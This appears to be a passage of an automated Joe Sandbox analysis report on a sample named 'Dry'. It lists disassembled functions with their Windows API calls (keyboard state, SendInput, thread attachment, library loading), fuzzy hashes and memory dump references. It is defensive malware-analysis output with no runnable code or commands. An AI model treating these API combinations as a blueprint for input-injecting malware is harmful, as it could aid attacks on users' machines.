Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: acbfd3b6c2b661c7aba33d4e589d773f232ac50e041fdb203159b842b524a888
Instruction ID: 680e5589e855502d1a7145c4eee53898571277a9a40364f9fb610ba4703f8bda
Opcode Fuzzy Hash: acbfd3b6c2b661c7aba33d4e589d773f232ac50e041fdb203159b842b524a888
Instruction Fuzzy Hash: FB414A35600650DFCB10EF15C585A6ABBF2EF89310B188488EC4AAF362CB34FD45CB91

Function 00B4B41E Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 00B4B473
SetKeyboardState.USER32(00000080), ref: 00B4B48F
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 00B4B4FD
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 00B4B54F

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 737a0a7df69db53d3d4f8fbe8feba23b04c6ba4ef363bea914bc0f9c867c0d4e
Instruction ID: 433a155fe71f41d3eef2ccf3cbb093796c454a9e8857cda115fe98dfda4c245c
Opcode Fuzzy Hash: 737a0a7df69db53d3d4f8fbe8feba23b04c6ba4ef363bea914bc0f9c867c0d4e
Instruction Fuzzy Hash: AB313770A402186EFF30CB248855FFABBF5EF59310F04429AE696962D2C774CB85A761

Function 00B4B563 Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00B4B5B8
SetKeyboardState.USER32(00000080,?,00008000), ref: 00B4B5D4
PostMessageW.USER32(00000000,00000101,00000000), ref: 00B4B63B
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00B4B68D

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: e1236d2f1e9fe3c9a45df7cd8ec5397308867926563b9b99822b8ae1f614e7ef
Instruction ID: a59b7f56d2e03d2f6b62f08ef8beb75ea9679631f37ed38e41133e1198e8bbd1
Opcode Fuzzy Hash: e1236d2f1e9fe3c9a45df7cd8ec5397308867926563b9b99822b8ae1f614e7ef
Instruction Fuzzy Hash: 49314B309406186EFF348F288805FFAFBF6EF95310F0542AAE685921D1C774CB82AB55

Function 00B780AE Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00B780D4
GetWindowRect.USER32(?,?), ref: 00B7814A
PtInRect.USER32(?,?,?), ref: 00B7815A
MessageBeep.USER32(00000000), ref: 00B781C6

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 5fb87d4dde11d80f3ff0ec0a82414aec02bc43aaed8e4647050b088f621f76e9
Instruction ID: 5265c54671b17cbca9f453390b87290264cb0dc49039392c2470c591fa6065b8
Opcode Fuzzy Hash: 5fb87d4dde11d80f3ff0ec0a82414aec02bc43aaed8e4647050b088f621f76e9
Instruction Fuzzy Hash: FD419E30A40215DFCB11CF59C888BA9B7F5FF49314F5581E8E96CAB6A1CB71E842CB90

Function 00B72176 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00B72187

Part of subcall function 00B44393: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B443AD
Part of subcall function 00B44393: GetCurrentThreadId.KERNEL32 ref: 00B443B4
Part of subcall function 00B44393: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00B42F00), ref: 00B443BB

GetCaretPos.USER32(?), ref: 00B7219B
ClientToScreen.USER32(00000000,?), ref: 00B721E8
GetForegroundWindow.USER32 ref: 00B721EE

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: e9d496579c6f5d4d5d819de0c7915a6da67be7538ee7d571a191cd3c9b58bec9
Instruction ID: f5806e509bceacd9c44b2aae86cd3fe1450a71e7b642d62593074e58c5aaed16
Opcode Fuzzy Hash: e9d496579c6f5d4d5d819de0c7915a6da67be7538ee7d571a191cd3c9b58bec9
Instruction Fuzzy Hash: F0315271D00249AFCB04DFAAC981DAEB7F8EF48304B5084AAE419E7251DB75DE45CBA0

Function 00B4E8AC Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 00AE41EA: _wcslen.LIBCMT ref: 00AE41EF

_wcslen.LIBCMT ref: 00B4E8E2
_wcslen.LIBCMT ref: 00B4E8F9
_wcslen.LIBCMT ref: 00B4E924
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 00B4E92F

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _wcslen$ExtentPoint32Text
String ID:
API String ID: 3763101759-0
Opcode ID: 42b3b802b7e95853f74163c4fd9764da72f6b6ae32dcaba8e8ebb02408d0d20b
Instruction ID: d1ab322f60293a6ac6fb158c93cdad795dd3deaf6223d359cc87e4d63b4b0a82
Opcode Fuzzy Hash: 42b3b802b7e95853f74163c4fd9764da72f6b6ae32dcaba8e8ebb02408d0d20b
Instruction Fuzzy Hash: 3121A172900215AFDB10AFA8D982BAEBBF8FF45350F1440A5E914BB2C1D7709E41CBA1

Function 00B79A25 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00AE24B0

GetCursorPos.USER32(?), ref: 00B79A5D
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00B79A72
GetCursorPos.USER32(?), ref: 00B79ABA
DefDlgProcW.USER32(?,0000007B,?,?,?,?), ref: 00B79AF0

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 5198f9e638213d77cc2ac85f5f5b74b728d05fef5497059b97011baec84fe4b4
Instruction ID: 804bdf89b45a4569819d3be67008b5c538e6940b270d39ea3dd2c6f2700c0e55
Opcode Fuzzy Hash: 5198f9e638213d77cc2ac85f5f5b74b728d05fef5497059b97011baec84fe4b4
Instruction Fuzzy Hash: 6E21BF31601018AFCF258F54C888EFA7BF9FF09750F4081A5F9198B1A1D7709950EB90

Function 00B4DB6C Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00B7DC30), ref: 00B4DBA6
GetLastError.KERNEL32 ref: 00B4DBB5
CreateDirectoryW.KERNEL32(?,00000000), ref: 00B4DBC4
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00B7DC30), ref: 00B4DC21

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: ec83f9280d74538acf10b0155ded2831d92bc494c3974a17a82b83eea390f0e8
Instruction ID: 82bebf97851161358a90f8cda21d2bfb8f8ce6bb95d521fceccb4e44335ee2eb
Opcode Fuzzy Hash: ec83f9280d74538acf10b0155ded2831d92bc494c3974a17a82b83eea390f0e8
Instruction Fuzzy Hash: 3521B2305083019F8700DF28C9C096BB7F8EE5A364F104A5DF4A9C72A2DB70DA46DB93

Function 00B7321E Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00B732A6
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00B732C0
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00B732CE
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00B732DC

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: b697c0f648f08d678c2ca6baf00b37c34dc9c0678d73d11a97b96439cd5bdabe
Instruction ID: 682cad6aca71ae4c4fcd4534d95e93dab06ac622d9b167d062fa068c4dede84a
Opcode Fuzzy Hash: b697c0f648f08d678c2ca6baf00b37c34dc9c0678d73d11a97b96439cd5bdabe
Instruction Fuzzy Hash: 0621C431204111AFD7149B24C845FAA7BE5EF81724F24C298F83A8B2D2CB71EE81C7D0

Function 00B4825C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B496E4: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00B48271,?,000000FF,?,00B490BB,00000000,?,0000001C,?,?), ref: 00B496F3
Part of subcall function 00B496E4: lstrcpyW.KERNEL32(00000000,?,?,00B48271,?,000000FF,?,00B490BB,00000000,?,0000001C,?,?,00000000), ref: 00B49719
Part of subcall function 00B496E4: lstrcmpiW.KERNEL32(00000000,?,00B48271,?,000000FF,?,00B490BB,00000000,?,0000001C,?,?), ref: 00B4974A

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00B490BB,00000000,?,0000001C,?,?,00000000), ref: 00B4828A
lstrcpyW.KERNEL32(00000000,?,?,00B490BB,00000000,?,0000001C,?,?,00000000), ref: 00B482B0
lstrcmpiW.KERNEL32(00000002,cdecl,?,00B490BB,00000000,?,0000001C,?,?,00000000), ref: 00B482EB

Strings

cdecl, xrefs: 00B482E2

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 442ed80ba28c0caa79805141aaf72ca8e74d80ee8785b258a3f794943a92e4ed
Instruction ID: d86155f2c07648f23a180c73a64d18770ec34fdb435f0643ea982f984cb7aedc
Opcode Fuzzy Hash: 442ed80ba28c0caa79805141aaf72ca8e74d80ee8785b258a3f794943a92e4ed
Instruction Fuzzy Hash: 5E11263A200342ABCB14AF38C844E7E77F9FF45750B50406AF906C72A0EF719A01E794

Function 00B760FF Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 00B7615A
_wcslen.LIBCMT ref: 00B7616C
_wcslen.LIBCMT ref: 00B76177
SendMessageW.USER32(?,00001002,00000000,?), ref: 00B762B5

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: 1405b26149bd70bb52a86f115e7384590fe2c5ca2c5e835d92230f772a076019
Instruction ID: 300d2688f3fb5003d54dbd7c0c3186a0072d61258dd9c7314d7a5f1407b677f3
Opcode Fuzzy Hash: 1405b26149bd70bb52a86f115e7384590fe2c5ca2c5e835d92230f772a076019
Instruction Fuzzy Hash: 3511847550061896DB20DF648CC4EEF7BFCEF15354B1081AAFA2DE6081EBB0C944CB61

Function 00B12079 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87e1c30e7668e76f1763521c01317e0cc8d9eda29b98ccb56b75c11bc28f16b4
Instruction ID: 686dbfdc827e34e985129e72a1bd7104c65117ba74c3d23e7878295a949ee19e
Opcode Fuzzy Hash: 87e1c30e7668e76f1763521c01317e0cc8d9eda29b98ccb56b75c11bc28f16b4
Instruction Fuzzy Hash: 37018FB22092167EE6212778ACC5FA7679DDF853B8BB007B5B521A12D1DE608DE08160

Function 00B42374 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00B42394
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B423A6
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B423BC
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B423D7

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 559727f9aa03d5c13bf4fce853d1706b5b5e57359a389609e5bd1f038d9790a6
Instruction ID: e5640df32d385ed449f9b2312047366d55591044d4cd7d96d91885437514331a
Opcode Fuzzy Hash: 559727f9aa03d5c13bf4fce853d1706b5b5e57359a389609e5bd1f038d9790a6
Instruction Fuzzy Hash: 4911F73A900218FFEB119FA5CD85F9DBBB8EB08750F600091EA01B7290D6716F50EB98

Function 00AE1AAC Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00AE249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00AE24B0

DefDlgProcW.USER32(?,00000020,?,00000000), ref: 00AE1AF4
GetClientRect.USER32(?,?), ref: 00B231F9
GetCursorPos.USER32(?), ref: 00B23203
ScreenToClient.USER32(?,?), ref: 00B2320E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 6fd1be02407e830f53880d1e2c49638b314b43e7d3a62966d60596e9ae05f99f
Instruction ID: ef81bbf251365b99c69bed737665bdf597e03f7f93724d5b48e4ba016c28ee6a
Opcode Fuzzy Hash: 6fd1be02407e830f53880d1e2c49638b314b43e7d3a62966d60596e9ae05f99f
Instruction Fuzzy Hash: 30114C32A01169EBDB10DFA4D946DFE77B8FF05391F100462E916E3140CB75BA91CBA1

Function 00B4EAED Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00B4EB14
MessageBoxW.USER32(?,?,?,?), ref: 00B4EB47
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00B4EB5D
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00B4EB64

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 0fb6c0eaa33af3c8edb90d8e9994f276aaca831138794c839d2f4d13f92c5d76
Instruction ID: 844ff7ba1cfb315ce8ca15899ca907a65fee02efc7a99740d12215bdd60e58ca
Opcode Fuzzy Hash: 0fb6c0eaa33af3c8edb90d8e9994f276aaca831138794c839d2f4d13f92c5d76
Instruction Fuzzy Hash: 1B11DB76900218BFD7019BA89C46A9E7FFDFF45360F144255F826F3290DAB4CA048761

Function 00B0D53C Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,00B0D369,00000000,00000004,00000000), ref: 00B0D588
GetLastError.KERNEL32 ref: 00B0D594
__dosmaperr.LIBCMT ref: 00B0D59B
ResumeThread.KERNEL32(00000000), ref: 00B0D5B9

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: a4384dee88e493a86b05eadcb0cba39fe0ca7a795dac66a1bbf73c938e5fb321
Instruction ID: d5789a6c4e8d844b862f1301edaf8331b9586d242e01e3e9e2b252d9234e80ef
Opcode Fuzzy Hash: a4384dee88e493a86b05eadcb0cba39fe0ca7a795dac66a1bbf73c938e5fb321
Instruction Fuzzy Hash: 3F01DE32504214BBCB206FE9EC09BAE7FA8EF81334F100399F929971E0DF718940C6A1

Function 00AE7873 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00AE78B1
GetStockObject.GDI32(00000011), ref: 00AE78C5
SendMessageW.USER32(00000000,00000030,00000000), ref: 00AE78CF

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 8b9d6c0cd7a9dff0b6bf7e53de13af9a294174c202d06694149d25bb0df8d0d7
Instruction ID: 47bcfe81a12d6e8112f4b3d530fbd149a6431903da6a4fa55ed1b0dbcfa899e1
Opcode Fuzzy Hash: 8b9d6c0cd7a9dff0b6bf7e53de13af9a294174c202d06694149d25bb0df8d0d7
Instruction Fuzzy Hash: 4011AD72505188BFEF069F91DC58EEE7B69FF183A4F440116FA0852120DB319CA0EBA1

Function 00B133E6 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000364,00000000,00000000,?,00B1338D,00000364,00000000,00000000,00000000,?,00B135FE,00000006,FlsSetValue), ref: 00B13418
GetLastError.KERNEL32(?,00B1338D,00000364,00000000,00000000,00000000,?,00B135FE,00000006,FlsSetValue,00B83260,FlsSetValue,00000000,00000364,?,00B131B9), ref: 00B13424
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00B1338D,00000364,00000000,00000000,00000000,?,00B135FE,00000006,FlsSetValue,00B83260,FlsSetValue,00000000), ref: 00B13432

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
